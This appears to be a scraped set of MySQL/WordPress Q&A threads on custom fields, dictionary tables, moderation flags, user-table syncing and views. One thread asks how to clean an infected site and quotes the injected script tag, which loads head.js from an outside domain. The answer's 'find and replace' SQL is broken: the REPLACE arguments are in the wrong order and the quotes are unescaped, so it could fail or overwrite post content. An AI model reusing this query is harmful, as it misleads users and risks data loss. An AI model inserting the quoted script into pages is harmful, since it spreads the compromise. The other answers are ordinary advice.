insert wordpress custom field content into wordpress post using SQL - mysql

I need a sql query that will allow me to take the contents of a Wordpress custom field and insert them into the existing post (post_content). I have thousands of record that I need to do this with.
My limited SQL knowledge isnt good enough to figure this out since the the custom fields are stored in the "wp_postmeta" table and the post content is stored in the "wp_posts" table.
Thanks

You don't need to (and you most definitely don't WANT to) use SQL to do what you want.
Since you haven't actually tried anything yet, you should take a look at Update Post Meta if you want to make sure all of your tables are populated correctly, and everything is referenced properly according to Wordpress' standards.
If you run into any issues with writing the actual code to handle this, please open a new question and show us what you've tried.
Good luck.

Related

Cleaning injected javascript reference in MYSQL database

I am trying to clean up a wordpress database of an infected site.
I have very little knowledge of mysql, i have been trying a couple options with bad results so far.
I attached a few images showing the issue, and this is the html code that ends up on the pages:
title="<script src='https://saskmade.net/head.js?ver=2.0.0' type='text/javascript'></script>"
My failed attempts included clicking on that DELETE button, so the whole site breaks of course.
I do have a backups so i can play safe.
I know there should be a simple "find and replace" function to remove the script from the tables, but im not sure if i should be looking for anything else, as you can see there is actually more stuff in the HTML code (the #039 part for example, i just want to make sure i remove everything correctly.
Thank you so much for any help.
A simple string replace call with a table update in MySQL looks like this:
UPDATE wp_posts
SET post_content = REPLACE(
'<script src='https://saskmade.net/head.js?ver=2.0.0' type='text/javascript'></script>',
'',
post_content
);
I am not sure if your data is really encoded (I guess yes), otherwise use < instead of < etc.
This does not cover variations but is the most basic way of "find and replace" in native MySQL. It does not cover blankspaces and returns tho, I think you should play arround with it.
Even simpler approach
would be to open the dump in your favorite text editor (I suggest Notepad++ because it has Regex search & replace) and just go through that file the manual way.
Do not forget to check terms, comments, and post_meta tables as well. Potentially, your site breaks because you mess up the data integrity. Do not start by deleting stuff. Start by identifying affected tables & rows. Then work out the relationships between affected rows and other DB objects, delete all the bad stuff at once.
This could help a lot: https://codex.wordpress.org/Database_Description

What is a dictionary table in SQL?

I have to build this retail site, and aparently all the properties info comes from a third party company. Everything looked fine, they sent me a .mdb file with all the tables (which convert to a .sql file), and later I get emailed with data to update those tables.
What confused me was the fact that a few of these tables already have values in them. And when looking at the documentation, it says that I will also get emailed 'dictionary tables'. It says: "These tables contain fixed values in reference to value tables".
I have googled and searched here at stalkoverflow but couldnt find an answer. What I read was something about 'sas' and 'proc sql' which I haven't heard before.
Could someone please explain me (or kindly point me to some understandable documentation) what this tables are (are they in fact tables?), and how can I use them to build my site? I also use Codeigniter, can I use active records on them? Or what would be the correct SQL to access that table? I'm pretty much lost here :(
I use Codeigniter 2.x and Mysql.
Thanks guys, I will be infinetely grateful for your help.
Two guesses:
a data dictionary provides information about tables in a database:
field names, field types, field sizes
stored procedures associated with certain tables
OR
simply a fixed table that provides lookup or validation for a separate updatable table.

User submitted content to mysql with moderation: separate table?

In an mysql table I would like to get data from user, however the data would need to be moderated by admin first. My question is that is it normal to just insert into the original table and use a field as flag of the moderation status? Or have a separate table of pre-moderated posts and do the insertions only at moderation?
I think both method would work but I am not sure if I miss out other considerations here. Hope someone experienced can tell me the established/preferred way to do that.
If you're working with a not-huge data set I'd recommend just adding a flag column that allows you to show or hide user data. This will require fewer and easier queries to work with and should make your life a lot easier than juggling the data between multiple identical tables. Additionally, if you want to add something like a button for "report this content as BAD" you could remove the content from other results while only "soft deleting" it from public visibility.

best practice to sync two different systems users table

I am having a main stream website and I would like to include Forum functionality. Since it is a java based system, I opt for Jforum. Now since the JForum having it's own login table and use it from there, I would like to make this to use mainstream login sysem. Can any one post me what are the best practice to do it? Duplicating the data in both the table? Create a view and refresh periodically? I am using MySQL database.
Copying the data from one table to another is not a good idea, as it can introduce inconsistencies in the data. The best solution is to create a View, as you mentioned. Simply add any columns that JForum needs to the main stream website database, and create a view that simulates the table name and column format that JForum is expecting. If done correctly, JForum should simply read from the VIEW which is nothing but a SQL query that changes your existing Users table to appear the way it's expecting it to.

mysql don't return results if not from statement but from INDEX table or something

I think my question was a little confusing.....It confused me :)
Working on a media site as a take-over project and it has a custom CMS. The client wants the ability to activate/deactivate media....sort of like Wordpress's publish/unpublish feature.
Instead of digging through all the code looking for mysql queries (which I'm not opposed to), I was wondering if you can add a sort of INDEX to a table that won't let it return result rows if that rows "active" column = let's say 0.
Just trying to be lazy and learn something at the same time, heh.
I don't need examples of queries to make it happen, btw.
What you describe is called a "view". Here is a page describing how to create them in MySQL: http://dev.mysql.com/doc/refman/5.0/en/create-view.html. However, in most cases you will still have to alter your code to use the view instead of the table.
You can consider create a view (which contains active record only)
AND swap the view name to actual table name instead, so you can achieve the negative filtering without changing any of your source code.